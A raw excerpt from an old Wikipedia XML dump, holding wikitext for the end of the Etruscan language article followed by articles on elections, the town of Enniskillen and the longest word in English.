Some surviving Etruscan inscriptions appear on thin gold sheets. A &quot;book&quot; of gold sheets bound with gold rings went on display in May 2003 at the National History Museum in [[Sofia, Bulgaria]]. It consists of six bound sheets of 24-[[carat (purity)|carat]] (100%) gold, with low-reliefs of a horseman, a [[mermaid]], a harp and soldiers, with text. It was claimed to have been discovered about 1940 in a tomb uncovered during digging for a canal along the [[Strouma]] river in south-western Bulgaria, kept secretly and anonymously donated by its 87-year-old owner, living in Macedonia. Museum director Bojidar Dimitrov confirmed its authenticity with Bulgarians and experts in London. Bulgarian linguist Vladimir Georgiev is working on a translation of the text.

About 30 single golden sheets with Etruscan inscriptions are known, according to the Sofia museum's curator of archaeology, Elka Penkova.  

*[http://news.bbc.co.uk/2/hi/europe/2939362.stm BBC News report]

==Vocabulary==
:''See the [[Wiktionary:Category:Etruscan language|list of Etruscan words]] and [[Wiktionary:Category:Etruscan derivations|list of words of Etruscan origin]] at [[Wiktionary]], the free dictionary and Wikipedia's sibling project''

Due to its isolation, no significant certain translations from Etruscan into modern languages have been produced yet, however we can be fairly certain of how the language was pronounced as the Etruscan speakers wrote using a variant of the [[Greek alphabet]].

Latin borrowed a few dozen words from Etruscan, many of them related to culture, like ''elementum'' (letter), ''litterae'' (writing), ''cera'' (wax), ''arena'', etc. 

Some of these words can be found in modern languages, especially in [[Romance languages]]. Some English words derived from Latin — e.g. [[people (disambiguation)|people]], [[person]], [[population]] — are considered to be of Etruscan origin.

==Writing system==
The [[Latin alphabet]] that is used in English owes its existence to the Etruscan writing system, which was adopted for Latin in the form of the [[Old Italic alphabet]]. The Etruscan alphabet employs a [[Euboea]]n variant of the [[Greek alphabet]] using the letter [[digamma]] (or &quot;F&quot;) and is ultimately of West Semitic origin.

== See also ==
* [[Etruscan civilization]]
* [[Aegean languages]] - Language family to which Etruscan belongs.
* ''[[Liber Linteus]]'' - An Etruscan inscription.
* ''[[Tabula Cortonensis]]'' - An Etruscan inscription.
* ''[[Cippus perusinus]]'' - An Etruscan inscription.
* ''[[Pyrgi Tablets]]'' - An Etruscan inscription.
* [[Lemnian language]]
* [[Eteocypriot]]
* [[Eteocretan]]
* [[Cortona]] - Ancient Etruscan city (''Curtun'').

==External links==
* [http://etp.classics.umass.edu/ The Etruscan Texts Project] A searchable database of Etruscan texts.
* [http://www.umass.edu/etruscannews Etruscan News Online], the Newsletter of the American Section of the Institute for Etruscan and Italic Studies.
* [http://people.umass.edu/jamesp/fonts.html Etruscan and Early Italic Fonts], for the digital transcription of Etruscan inscriptions.
*[http://ling.cornell.edu/Weiss/CGL_35-Etruscan.pdf Etruscan grammar (pdf)] A detailed explanation of the grammar of the related Etruscan language by Micheal Weiss of the Cornell University.
* [http://web.archive.org/web/20021207170759/http://www.netaxs.com/~salvucci/VTLhome.html The Languages of Ancient Italy]
* [http://web.archive.org/web/20021213221136/http://www.netaxs.com/~salvucci/VTLetrvocab.html An Etruscan Glossary] 
* [http://etruskisch.de/pgs/vc.htm Etruscan Glossary]
* [http://www.geocities.com/Athens/Forum/2803/EtruscanGlossary.htm Another Glossary]
* [http://www.open.ac.uk/Arts/etrweb/etrmain.htm Etruscans on the Web]: Language links here are divided between 'Mainstream' with the professional linguists, and 'Alternative,' where you can read up on connections between Etruscan and [[Ukrainian language|Ukrainian]], [[Turkish language|Turkish]], or [[Slovenian language|Slovenian]].
*[http://www.geocities.com/hbry The Etruscan Cryptolect]

==References==
* {{cite book
 | authorlink = Giuliano Bonfante
 | last = Bonfante | first =  Giuliano
 | coauthors = [[Larissa Bonfante | Bonfante, Larissa]]
 | title = The Etruscan Language: an Introduction
 | location = Manchester
 | publisher = University of Manchester Press
 | year = 2002
 | id = ISBN 0-7190-5540-7
 }}
* {{cite book
 | author = [[Mario Alinei]]
 | title = Etrusco: una forma arcaica di ungherese
 | publisher = Bologna: Le edizioni del Mulino
 | year = 2003
 }}
* {{cite book
 | authorlink = Mauro Cristofani
 | last = Cristofani | first = Mauro
 | coauthors = ''et al''
 | title = Gli Etruschi: una nuova immagine 
 | publisher = Firenze, Giunti Martello
 | year = 1984
 }}
* {{cite book
 | authorlink = Mauro Cristofani
 | last = Cristofani | first = Mauro
 | title = The Etruscans: A New Investigation (Echoes of the ancient world)
 | publisher = Orbis Pub 
 | year = 1979
 | id = ISBN 0856132594
 }}
* {{cite book
 | authorlink = Helmut Rix
 | last = Rix | first = Helmut
 | title = Etruskische Texte 
 | publisher = G. Narr 
 | year = 1991
 | id = ISBN 3823342401
 }} 2 vols.

[[Category:Ancient languages]]
[[Category:Pre-Indo-Europeans]]
[[Category:Language isolates]]
[[Category:Extinct languages of Italy]]
[[Category:Etruscans]]

[[ast:Llingua etrusca]]
[[da:Etruskisk (sprog)]]
[[de:Etruskische Sprache]]
[[el:Ετρουσκική γλώσσα]]
[[eo:Etruska lingvo]]
[[fi:Etruskin kieli]]
[[fr:Étrusque]]
[[it:Lingua etrusca]]
[[ja:エトルリア語]]
[[kw:Etruskek]]
[[ru:Этрусский язык]]
[[sv:Etruskiska]]</text>
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  <page>
    <title>Election</title>
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      <minor />
      <comment>Redirect bypass from [[Islamic Revolution]] to [[Iranian Revolution]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{dablink|This article is about the political process. For the films of the same name, see [[Election (movie)]]. For the [[Theology|theological concept]], see [[Predestination]] and [[Unconditional election]].}}
{{Elections|
image=[[Image:Votingwomen.jpg|200px|Women voting in Bangladesh]]|
caption=}}

An '''election''' is a [[decision making]] process whereby people [[vote]] for preferred political [[politician|candidates]] or [[political party|parties]] to act as representatives in [[government]]. This is the usual mechanism by which a [[democracy]] fills offices in the [[legislature]], and sometimes in the [[executive (government)|executive]] and [[judiciary]], and in [[regional government|regional]] and [[local government]]. This is also typically the case in a wide range of other private and [[business]] [[organization]]s, from [[club]]s to [[voluntary association]]s and [[corporation]]s.

[[Electoral reform]] describes the process of introducing fair and democratic electoral systems where they are not in place, or improving the fairness or effectiveness of existing systems. [[Psephology]] is the study of results and other [[statistics]] relating to elections (especially with a view to predicting future results). 

==Definitions of democratic elections==
In [[political theory]], the [[authority]] of the [[government]] in democracies derives solely from the consent of the governed. The principal mechanism for translating that consent into governmental authority is the holding of free and fair elections. 

[[Image:Hustings20050204 CopyrightKaihsuTai.jpg|thumb|240px|left|A pre-election [[hustings]] at the [[Oxford West and Abingdon]] constituency, England.]]
[[Image:ElezioneBrunate.jpg|thumb|right|A poster for the European Parliament election 2004 in Italy, showing party lists]]
There is a broad consensus as to what kind of elections can be considered free and fair. [[Jeane Kirkpatrick]], scholar and former [[United States]] [[ambassador]] to the [[United Nations]], has offered this definition: &quot;Democratic elections are not merely symbolic....They are competitive, periodic, inclusive, definitive elections in which the chief decision-makers in a government are selected by [[citizenship|citizens]] who enjoy broad freedom to criticize government, to publish their criticism and to present alternatives.&quot;

The [[Democracy Watch (International)]] website, further defines fair democratic elections as, &quot;Elections in which great care is taken to prevent any explicit or hidden structural bias towards any one candidate, aside from those beneficial biases that naturally result from an [[electorate]] that is equally well informed about the various assets and liabilities of each candidate&quot;.  This was more formally stated in 2000 by [[Chief Justice]] [[Murray Gleeson]] of the [[High Court of Australia|Australian High Court]] as &quot;The democratic and lawful means of securing change, if change be necessary, is an expression of the will of an informed electorate.&quot;

The apparently simple requirement of an informed electorate is difficult to achieve in modern electorates with thousands of voters, most of whom have no prospects of knowing candidates other than by information published by third parties.  The party with the most immediate interest in having structural biases is the government conducting the election.  One possible result is the 'show' elections described below.

Some other scholars argue that elections are at most secondary to a functioning democracy.  They argue that the [[rule of law]] is more important.  An example would be pre-unification [[Hong Kong]], which was ruled by an unelected [[United Kingdom|British]] [[Administrator of the Government|administrator]] but was generally considered to be a free and open society due to its strong legal institutions.

==Characteristics of elections==
===Who can vote===
[[Image:ElezioneMilano.jpg|thumb|220px|right|Campaigners working on posters in Milan, Italy, 2004]]
A crucial issue in elections is the question of [[suffrage]]&amp;mdash;who is allowed to vote&amp;mdash;whether the electorate comprises the entire citizenry or some subset of it. The democracy of ancient Athens did not allow women, children, foreigners and slaves to vote&amp;mdash;thus disenfranchising the majority of the population. Over the last few centuries since elections began to be held there has been a long struggle to expand the franchise to excluded groups.  

Originally in the U.S., for example, only white male property holders enjoyed the right to elect and be elected when the [[United States Constitution|Constitution]] was signed in 1787. The property qualification disappeared by the early 19th century, and women won the right to vote in 1920. [[African American]]s, however, did not enjoy full voting rights in the southern United States until the [[American Civil Rights Movement (1955-1968)|civil rights movement]] of the 1960s. And finally, in 1971, younger citizens were given the right to vote when the United States lowered the voting age from 21 to 18. In Canada [[First Nations]] were long denied the vote. The first country in the world to allow women to vote was New Zealand, and the second was Finland.

There are still many restrictions in place. Many countries do not allow those judged mentally incapable to vote, and some deny the vote to serving [[prison]]ers as well. In some cases, such as some U.S. states, convicted [[felon]]s are also barred from voting upon release. Children are not permitted to vote in any country; however, the minimum voting age varies. 

In some countries, [[Compulsory voting|voting is compulsory]]. If an eligible voter does not attend a polling place, they may be subject to punitive measures such as a small fine.

===Who is voted for===
In some states far more positions are filled through election than others.  

In all democracies it is often the case that some important positions are not filled through elections. Those institutions that were designed to not be too closely swayed by public opinion are often not elected. For instance judges are usually appointed for life, or until a specific age, to insulate them against popular pressure and help ensure their impartiality.  This is often seen as an integral part of the [[separation of powers]].

However, there are some counterexamples. In the United States some judges are elected, and in ancient Athens military generals were elected.

Also frequent is the erecting of an intermediate tier of [[elector]]s between the people and the elected figure.  For example, the [[President of the United States]] is not elected directly by the people but by the [[U.S. Electoral College]]. But since it is known who these people will vote for, the effect is the same as a direct election. Also, [[United States Senate|U.S. Senators]] were originally chosen by the state legislatures.  And in the [[Westminster System]] the [[Prime Minister]], who holds the most power, is formally chosen by the [[head of state]] and in reality by the legislature or by their party.

===Types of election===
In most democratic political systems, there are a range of different types of election, corresponding to different layers of public governance or geographical jurisdiction. Some common types of election are: 
*[[Presidential election]]
*[[General election]]
*[[Primary election]]
*[[By-election]]
*[[Local election]]
*[[Co-option]]

A [[referendum]] (''pl'' referenda or referendums) is a democratic tool related to elections in which the electorate votes for or against a specific proposal, law or policy, rather than for a general policy or a particular candidate or party. Referendums may be added to an election ballot or held separately and may be either binding or consultative, usually depending on the [[constitution]].  Referendums are usually called by governments via the legislature, however many democracies allow citizens to petition for referendums directly, called ''[[initiative]]s''.

Referendums are particularly prevalent and important in [[direct democracy|direct democracies]], such as [[Switzerland]]. The basic Swiss system, however, still works with representatives. In the most direct form of democracy, anyone can vote about anything. This is closely related to referendums and may take the form of [[consensus decision-making]]. Reminiscent of the ancient Greek system, anyone may discuss a particular subject until a consensus is reached. The consensus requirement means that discussions can go on for a very long time. The result will be that only those who are genuinely interested will participate in the discussion and therefore the vote. In this system there need not be an age limit because children will usually become bored. This system is however only feasible when implemented on a very small scale.

===Electoral systems===
Electoral systems refer to the detailed constitutional arrangements and [[voting system]]s which convert the vote into a determination of which individuals and political parties are elected to positions of power. 

The first step is to tally the votes, for which various different [[vote counting systems]] and [[ballot]] types are used. Voting systems then determine the result on the basis of the tally. Most systems can be categorized as either [[Proportional representation|proportional]] or [[majoritarianism|majoritarian]].  Among the former are [[party-list proportional representation]] and [[additional member system]].  Among the latter are [[First Past the Post electoral system|First Past the Post (FPP)]] (relative majority) and [[absolute majority]].  Many countries have growing electoral reform movements, which advocate systems such as [[approval voting]], [[single transferable vote]], [[instant runoff voting]] or a [[Condorcet method]].

While openness and [[accountability]] are usually considered cornerstones of a democratic system, the act of casting a vote and the content of a voter's ballot are usually an important exception.  The [[secret ballot]] is a relatively modern development, but it is now considered crucial in most free and fair elections, as it limits the effectiveness of intimidation.

===Scheduling===
The nature of democracy is that elected officials are accountable to the people, and they must return to the voters at prescribed intervals to seek their [[mandate (politics)|mandate]] to continue in office. For that reason most democratic constitutions provide that elections are held at fixed regular intervals. In most states elections are held between every three and six years. There are exceptions to this; the U.S. [[United States House of Representatives|House of Representives]] stands for election every two years, while the [[President of Ireland]] holds a largely ceremonial position for seven years.  

Some nations have pre-determined and fixed election dates (e.g., the U.S.).  This has the advantage of fairness and predictability.  However, it tends to greatly lengthen campaigns, and makes [[dissolution of parliament|dissolving the legislature]] (parliamentary system) more problematic if the date should happen to fall at time when dissolution is inconvenient (e.g. when war breaks out). Other states (e.g., the [[United Kingdom]]) only set maximum time in office, and the executive decides exactly when within that limit it will actually go to the polls. In practice this means the government will remain in power full term unless something special happens, such as a [[motion of no-confidence]].

==Election campaigns==
When elections are called, politicians and their supporters attempt to influence policy by competing directly for the votes of constituents in what are called [[political campaigns|campaigns]].  Supporters for a campaign can be either formally organized or loosely affiliated, and frequently utilize [[campaign advertising]].

{{sect-stub}}

==Difficulties with elections==
===Show elections===
While all modern democracies hold regular elections, the converse is not true&amp;mdash;not all elections are held by true democracies.  Some governments employ other 'behind-the-scenes' means of candidate selection but organise a sham process that appears to be a genuine electoral contest, in order to present the facade of popular consent and support. 

[[Dictatorship]]s, such as the former [[Soviet Union]], have been known to hold such ''[[show election]]s''. In the 'single candidate' type of show-election, there may only be one candidate for any one given position, with no alternative choices for voters beyond voting yes or no to this candidate. In the 'fixed vote' type of show-election such elections may offer several candidates for each office.  In both cases, the government uses intimidation or [[vote-rigging]] to ensure a high yes vote or that only the government-approved candidates are chosen.  

Another model is the 'false diversity' type of show-election in which there may be several choices, all of which support the status quo. In theory, 'false diversity' elections would be recognised by a truly informed electorate but as noted above this may be impossible, for example where a government conducting elections also controls the media by which most voters are informed.  Examples of this are given below.

===Bias and limited options===
:''See also: '''[[Criticisms of electoralism]]'''.''
Similar to the false diversity elections are those in which candidates are limited by undemocratic forces and biases.  The Iranian form of government is an example of this. In the [[2004 Iranian parliamentary elections]] almost all of the reformist candidates were ruled unfit by the [[Guardian Council]] of religious leaders. According to the [[politics of Iran|Iranian constitution]] this was fully within the Council's constitutional rights, and designed to prevent enemies of the [[Iranian Revolution|Islamic Revolution]] from coming to power. Even in the [[USA]], [[socialist]] [[Victor L. Berger]] was twice denied a seat in the [[House of Representatives]] in 1919 because of his [[anti-war]] views.

Simply permitting the opposition access to the ballot is not enough. In order for democratic elections to be fair and competitive, opposition parties and candidates must enjoy the rights to [[freedom of speech]], [[freedom of assembly|assembly]], and movement as necessary to voice their criticisms of the government openly and to bring alternative policies and candidates to the voters.  In states where these freedoms are not granted or where opposition party politicians are harassed and their events disrupted, elections may not reflect the legitimate views of the populace.  A current example of such a state is [[Zimbabwe]].  In states with fragile democracies where there has been a history of political violence or blatantly unfair elections, international [[election observer]]s are often called in by external bodies like the United Nations, and protected by foreign forces, to guarantee fairness.

In addition, elections in which opposition candidates are not given access to radio, newspaper and television coverage are also likely to be biased. An example of this kind of structural bias was the 2004 re-election of [[Russia]]n president [[Vladimir Putin]], in which the state controlled media consistently supported his election run, consistently condemned his opponents, provided virtually unlimited free advertising to Putin's campaign, and barred attempts by his opponents to run campaign advertisements. For this reason, many countries ensure equal air time to election ads from all sizeable parties and have systems that help pay for election advertising or, conversely, limit the possibilities to advertise, to prevent rich parties or candidates from oustripping their opponents.  

Some allege that beyond the examples given here, there are more subtle and systemic forms of 'false-diversity' in elections which are not generally recognised. [[Noam Chomsky]] and other &quot;progressives&quot; argue that in the West, and especially the U.S., powerful corporate interests behind the [[media]] act as a filter that, statistically, only lets preordained views be heard by the public and excludes [[third political party|third parties]] and alternative viewpoints. They point out that in the U.S., the two big political parties are both sponsored by essentially the same large corporations (such as [[Microsoft]], [[Coca-Cola]], [[McDonnell-Douglas]], ...), thereby representing the interests of a tiny minority of citizens (the richest few percent) and no political parties representing the vast majority of relatively poor citizens have any realistic chance of having their political platforms presented to the public through the corporate controlled media. In this sense, they argue that the U.S. has what is in practice a one-party political system.

===Corruption of democracies===
The very openness of a democracy means that in many states it is possible for voters to vote to get rid of democracy itself.

Democracies have failed many times in history from [[ancient Greece]] to 18th and 19th century [[France]] (see [[Second French Empire|Second Empire]] under [[Napoleon III]]), and perhaps most famously in 20th century [[Germany]], when the [[National Socialist German Workers Party|Nazis]] initially came to power by democratic means (albeit by [[plurality]] vote).  Throughout most of the developing world today democracies remain unstable, often collapsing to military [[coup]]s or other forms of dictatorship.  Thinkers such as [[Aristotle]] and many others long believed democracy to be inherently unstable and to always quickly collapse.  

Most democracies have some form of [[separation of powers]] so that even if a [[tyrant]] is elected the [[constitution]] would still have to be obeyed, in theory at least. Of course, an elected government can change the constitution, but this can be made difficult by, in some cases, requiring a 2/3 majority in two consecutive elected governments&amp;mdash;the actual requirements vary by each constitutional system. 

To limit this danger the system used in many states indirectly places limits on how easily new parties can form.  The [[first past the post]] electoral system makes it hard for new parties to quickly gain power.  In states using [[proportional representation]] systems, there is a determined proportion of the popular vote that must be won before a party can be admitted to parliament. This [[election threshold]] may be simply the amount of votes required to get one seat, such as in the [[Politics of the Netherlands|Netherlands]], but it may also be set higher, to prevent small parties from getting a seat in government.

==Elections around the world==
{{see|List of election results}}

==See also==
*[[List of politics-related topics]]

*[[Bipartidism]] 
*[[Demarchy]] &amp;mdash; &quot;Democracy without Elections&quot;
*[[Election law]]
*[[Electoral fraud]]
*[[Criticisms of electoralism]]
*[[Electoral Reform]]
*[[Foreign interference with elections in democratic countries]]
*[[Garrat Elections]]
*[[Gerontocracy]]
*[[Meritocracy]]
*[[Pluralism]]
*[[Political campaigning]]
*[[Political science]]
*[[Polling station]]
*[[Sortition]]
*[[Allotment]]
*[[Appointment]]
*[[Voter turnout]]
*[[Close elections]]

==External links==
*[http://www.angus-reid.com/tracker/ Angus Reid Consultants: Election Tracker]
*[http://www.cnn.com/WORLD/election.watch/ CNN.com World News: Election Watch]
*[http://www.electionworld.org Electionworld.org]
*[http://www.idea.int/esd/world.cfm IDEA's Table of Electoral Systems Worldwide]


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[[Category:Ethics]]

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    <title>Executive power</title>
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    <title>Enniskillen</title>
    <id>9459</id>
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      <contributor>
        <username>Donama</username>
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      <comment>/* Notable Residents/People From Enniskillen */</comment>
      <text xml:space="preserve">[[Image:coles_monument.jpg|thumb|250px|Cole's Monument]]
'''Enniskillen''' (''Inis Ceithleann'' in [[Irish language|Irish]]) is the county town of [[County Fermanagh|Fermanagh]] in [[Northern Ireland]]. It is located almost exactly in the centre of the county on the natural [[island]] which separates the Upper and Lower sections of [[Lough Erne]].

With a population of 13,599 people in the 2001 Census, it is by far the largest settlement in the county and the main retail centre for the county. It is also the seat of local government for [[Fermanagh District Council]].

== [[The Troubles]] ==

In recent years Enniskillen has become synonymous with the tragedy of the [[Troubles|Northern Ireland conflict]]. Until [[1987]] the town had been relatively untouched by the conflict, but an [[Provisional Irish Republican Army|IRA]] [[bomb]] on [[Remembrance Sunday]], the [[Remembrance Day Massacre]], killed eleven civilians (including nurse Marie Wilson, whose father [[Gordon Wilson (peace campaigner)|Gordon Wilson]] went on to become a leading campaigner for an end to violence in Northern Ireland). The IRA later claimed that their target was a colour guard of [[British army|British soldiers]]. At the same time on the same day as the Enniskillen Remembrance Day bomb, the IRA also planted a bomb 20 miles away near Pettigoe, where the Boys' Brigade were also taking part in a Remembrance service.  Fortunately it failed to detonate or the loss of innocent life would have been catastrophic. The [[Enniskillen bomb]] is acknowledged by some as a turning point in the [[Northern Ireland]] peace process, although terrorist killings did continue in its aftermath. On Remembrance Day [[1997]] the leader of [[Sinn Féin]], Gerry Adams, formally apologised for the bombing.

*[[26 August]] [[1972]] Alfred Johnston (32) and James Eames (33), [[Protestantism|Protestant]] members of the  [[Ulster Defence Regiment]] were killed by a [[Provisional Irish Republican Army]] remote controlled bomb, hidden in an abandoned car, detonated when their patrol approached, Cherrymount, near Enniskillen.

== Places of interest ==
[[Image:Enniskillen_Round_O.jpg|thumb|300px|The Island town of Enniskillen from the River Erne]]
* Enniskillen Castle
* The Ardhowen Theatre
* [[Castle Coole]]
* [http://www.enniskillencathedral.org St Macartin's Cathedral]
* [[Portora Royal School]]
* [[Earl of Enniskillen|Cole's]] Monument

== 2001 Census ==

Enniskillen is classified as a '''Medium Town''' by the [http://www.nisra.gov.uk/ NI Statistics and Research Agency (NISRA)] (ie with population between 10,000 and 18,000 people). On Census day ([[29 April]] [[2001]]) there were 13,599 people living in Enniskillen. 
*23.2% were aged under 16 years and 17.4% were aged 60 and over
*48.1% of the population were male and 51.9% were female
*61.5% were from a [[Catholic]] background and 36.3% were from a [[Protestantism|Protestant]] background
*5.2% of people aged 16-74 were unemployed.

For more details see: [http://www.ninis.nisra.gov.uk/ NI Neighbourhood Information Service]

==Notable Residents/People From Enniskillen==

*[[Henry Francis Lyte]], hymn composer, most notably ''Abide With Me''
*[[Oscar Wilde]], satirist and playwright, educated at Portora Royal School
*[[Samuel Beckett]], playwright, educated at Portora Royal School
*[[Roy Carroll]], former goalkeeper for Manchester United
*[[Sean Quinn]], entrepreneur and Irelands' richest man
*[[Duke of Westminster]], spent much of childhood at the families estate at Ely Lodge
*[[Frank Ormsby]], poet
*[[Charles Lawson]], actor ([[Coronation Street]] and other roles)

== See also ==

*[[List of towns in Northern Ireland]]
*[[List of villages in Northern Ireland]]

== External links ==

* [http://www.enniskillen.com Enniskillen.Com]
* [http://www.portoraroyal.co.uk Portora Royal School]
* [http://www.bbc.co.uk/history/timelines/ni/ennis_newt.shtml BBC - Williamite Wars]


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  <page>
    <title>Longest word in English</title>
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      <text xml:space="preserve">There are seemingly endless debates over which is the '''longest word in [[English language|English]]''', demonstrating that the idea of what constitutes a [[word (linguistics)|word]] is not as straightforward as it seems.  Hyphenated or space-delimited [[compound (linguistics)|compound]]s and proper nouns are linguistically considered words, but as they can grow with few limits, they are not counted here.

==&quot;Official&quot; longest word==
The ''[[Guinness Book of Records]]'', in its [[1992]] and subsequent editions, declared the &quot;longest real word&quot; in the English language to be '''[[floccinaucinihilipilification]]''' at 29 letters. Defined as ''the act of estimating (something) as worthless'', its usage has been recorded as far back as [[1741]]. In recent times its usage has been recorded in the proceedings of the [[United States]] [[United States Senate|Senate]] by Senator [[Jesse Helms]], and at the [[White House]] by [[Bill Clinton]]'s press secretary [[Mike McCurry]], albeit sarcastically. It is the longest non-technical word in the first edition of the ''[[Oxford English Dictionary]]''. The acceptability of the 33-letter adverbial form '''floccinaucinihilipilificastically''' is subject to controversy. &lt;/br&gt;

== Popular usage ==
'''[[Antidisestablishmentarianism]]''' (a [[19th century]] movement in [[England]] opposed to the [[separation of church and state]]) at 28 letters is often popularly accepted as English's longest word, and is probably the best-known &quot;longest  word.&quot; Other versions such as ''Antidisestablishmentarianistically'' and ''Pseudoantidisestablishmentarianism'' are demonstrably longer, though, showing that &quot;popular acceptance&quot; is not a guarantee of accuracy. (''See also the &quot;Constructions&quot; section below.'')

The word '''[[pneumonoultramicroscopicsilicovolcanoconiosis]]''', also spelled pneumonoultramicroscopicsilicovolcanokoniosis, is defined as &quot;a [[lung disease]] caused by the inhalation of very fine [[silica]] or quartz dust.&quot; At 45 letters (a [[P45|p45]] word for [[logology|logologists]]), it is certainly the longest word ever to appear in a non-technical dictionary of English, the [[Oxford English Dictionary]]. However, there are strong indications that the word was coined by puzzler [[Everett Smith]] in [[1935]] as a hypothetical long word that could result from the protraction of medical terms. The actual name of the disease is ''[[pneumoconiosis]]'', which is 14 letters long.

== Words that do exist but are often considered non-words ==

[[James Joyce]], known for his distinctive style, made up nine 100- and one 101-letter long words in his novel ''[[Finnegans Wake]]'', the most famous of which is '''Bababadalgharaghtakamminarronnkonnbronntonnerronntuonnthunntrovarrhounawnskawntoohoohoordenenthurnuk'''. Appearing on the first page, it allegedly is the symbolic thunderclap representing the fall of [[Adam and Eve]]. As this word appears nowhere else except in reference to this passage, it is generally not accepted as a &quot;real&quot; word. [[Sylvia Plath]] made mention to that word in her semi-[[autobiographical]] novel &quot;[[The Bell Jar]]&quot; as Esther Greenwood, the protagonist, was reading [[Finnegans Wake]].

The well-known song title from the movie ''[[Mary Poppins (film)|Mary Poppins]]'', &quot;'''[[Supercalifragilisticexpialidocious]]'''&quot;, with 34 letters, does appear in several dictionaries, but only as a [[proper noun]], and defined in reference to the song title. Hence it may well be dismissed as not a &quot;real&quot; word, particularly since the song assigns no meaning to it other than to say it's impressive.

== Other long words ==
The longest word cited by the ''[[Guinness Book of Records]]'', which allegedly represents the name for human [[mitochondrial DNA]], is 207,000+ letters long. Some types of DNA could have as many as 1,000,000,000 letters if fully written out.

The longest hypothetically legal [[Scrabble]] word (hypothetical because it exceeds 15 letters, the width of a Scrabble board) in [[North America]]n play is [[EDTA|ethylenediaminetetraacetate]]s (28 letters). It is the plural of a word found in [[Merriam-Webster]]'s [[Collegiate]] [[Dictionary]], 10th edition, which was the dictionary of reference in North American [[Scrabble]] play for base words of at least 10 letters, and their inflections of at least 10 letters, until [[June 16]], [[2003]].

The longest word which appears in [[William Shakespeare]]'s works is the 27-letter '''[[honorificabilitudinitatibus]]''', appearing in ''[[Love's Labour's Lost]]''. This is arguably an English word (rather than [[Latin]]), but only because he used it.

The '''[[humuhumu-nukunuku-a-pua‘a]]''', or reef triggerfish, is [[Hawaii]]'s unofficial state fish.  At 21 letters (22 counting the [[okina|ʻokina]]) it is one of the best known very long one-word names for an animal.  It is often asserted that &quot;the name is longer than the fish.&quot;

The character [[Big Bird]] of ''[[Sesame Street]]'' sings the [[Latin alphabet]], thinking it is a word. He reads '''Abcdefghijklmnopqrstuvwxyz''' aloud as /{{IPA|æbkəd&amp;#603;fgi&amp;#676;&amp;#603;kl&amp;#809;mn&amp;#809;&amp;#596;pkw&amp;#605;&amp;#720;&amp;#712;stu&amp;#720;vw&amp;#618;ks&amp;#618;z}}/ and breaks into song ([[ABC-DEF-GHI]]).

In the [[1970s]], there were advertisements for '''Lip&amp;shy;smackin&amp;shy;thirst&amp;shy;quenchin&amp;shy;acetastin&amp;shy;motivatin&amp;shy;good&amp;shy;buzzin&amp;shy;cool&amp;shy;talkin&amp;shy;high&amp;shy;walkin&amp;shy;fast&amp;shy;livin&amp;shy;ever&amp;shy;givin&amp;shy;cool&amp;shy;fizzin''' [[Pepsi]], coining a 100-letter term.
Later, the 71-letter '''[[Twoallbeefpattiesspecialsaucelettucecheesepicklesonionsonasesameseedbun|Two&amp;shy;all&amp;shy;beef&amp;shy;patties&amp;shy;special&amp;shy;sauce&amp;shy;lettuce&amp;shy;cheese&amp;shy;pickles&amp;shy;onions&amp;shy;on&amp;shy;a&amp;shy;sesame&amp;shy;seed&amp;shy;bun]]''' was used in a [[McDonald's Corporation|McDonald's Restaurant]] [[advertisement]] to describe the [[Big Mac]].

The longest word whose letters are in alphabetical order is the eight-letter ''[[Aegilops]]'', a grass genus. The seven-letter ''addeems'' (from the archaic verb ''addeem'', meaning to award), ''alloquy'' (an archaic or literary word for an address), ''beefily'' (in a beefy manner), ''billowy'' (like a wave or surge), ''[[dikkops]]'' (a South African bird) and ''gimmors'' (plural of ''gimmor'', an old-fashioned word for a mechanical contrivance) are also close.

=== Words with certain characteristics of notable length ===
The longest word in the English language containing only one [[vowel]] is '''strengths''', while '''scraunched''' is the longest monosyllabic word in current usage. '''Twyndyllyngs''' is the longest word without any of the common vowel letters a, e, i, o, or u (although y is certainly a vowel in that and many other words). '''Euouae''', at six letters long, is the longest English word consisting only of vowels, and the word with the most consecutive vowels. It is a [[medieval]] musical term. However, ''u'' was often used interchangeably with ''v'', and the variant &quot;evovae&quot; is occasionally used.

The longest words with no repeated letters are '''dermatoglyphics''', '''misconjugatedly''' and '''uncopyrightable''' [http://rinkworks.com/words/oddities.shtml].

The longest medical term typable with only the left hand (using conventional hand placement on a [[QWERTY]] keyboard) is '''aftercataracts''', and the longest &quot;common&quot; word is '''[[Flight attendant|stewardesses]]''' or '''reverberated'''. Conversely, using the right hand alone, the longest word that can be typed is '''[[Heartsease|johnny-jump-up]]''', or excluding [[hyphen]]s, '''[[polyphony]]'''. The longest word typable using only the top row of letters is ''not'' '''[[typewriter]]''', as is assumed by many: '''proterotype''' and '''rupturewort''' are longer, though not in common usage.

The longest words typable by alternating left and right hands are '''dismantlement''' and '''neuroticisms''', starting with the left and right side respectively.

Word with the most double letters: Racoonnookkeeper.

Word with the vowels in order: Facetiously, abstemiously

==Constructions==
English is a language which permits the legitimate extension of existing words to serve new purposes by the addition of prefixes and suffixes. This is sometimes referred to as [[agglutinative language|agglutinative]] construction. This process can create arbitrarily long words: for example, the prefixes ''pseudo-'' (false, spurious) and ''anti-'' (against, opposed to) can be added as many times as desired. Multiple observers have played on this in noting that a word like ''[[anti-aircraft]]'' (pertaining to the defense against aircraft) is easily extended to ''anti-anti-aircraft'' (pertaining to counteracting the defense against aircraft, a legitimate concept) and can from thereon be prefixed with an endless stream of &quot;anti-&quot;s, each time creating a new level of counteraction. It also must be noted that the concept of double negatives does not apply here; for instance, ''anti-anti-aircraft'' does not reduce to simply ''aircraft'', it specifically pertains to counteracting the defense against aircraft.

The earlier mentioned &quot;antidisestablishmentarianism&quot; is the longest common example of a word formed by [[agglutinative]] construction. The stepwise construction is as follows:

;''[[establish]]'': to set up, put in place, or institute (originally from the Latin ''stāre'', to stand)
;'''''[[disestablish|dis'''-establish]]'': ending the [[established]] status of a body, in particular a church, given such status by law, such as the [[Church of England]]
;''[[disestablishment|disestablish-'''ment''']]'': the separation of church and state (specifically in this context it is the political movement of the [[1860s]] in [[United Kingdom|Britain]])
;'''''anti'''-disestablishment'': opposition to disestablishment
;''antidisestablishment-'''arian''''': an advocate of opposition to disestablishment (alternatively, but less likely and quite similar in meaning, &quot;opposed to disestablishmentarians&quot;, depending on what &quot;anti-&quot; is taken to belong to)
;''antidisestablishmentarian-'''[[ism]]''''': the movement or ideology of advocates of opposition to disestablishment; the movement or ideology that opposes disestablishment

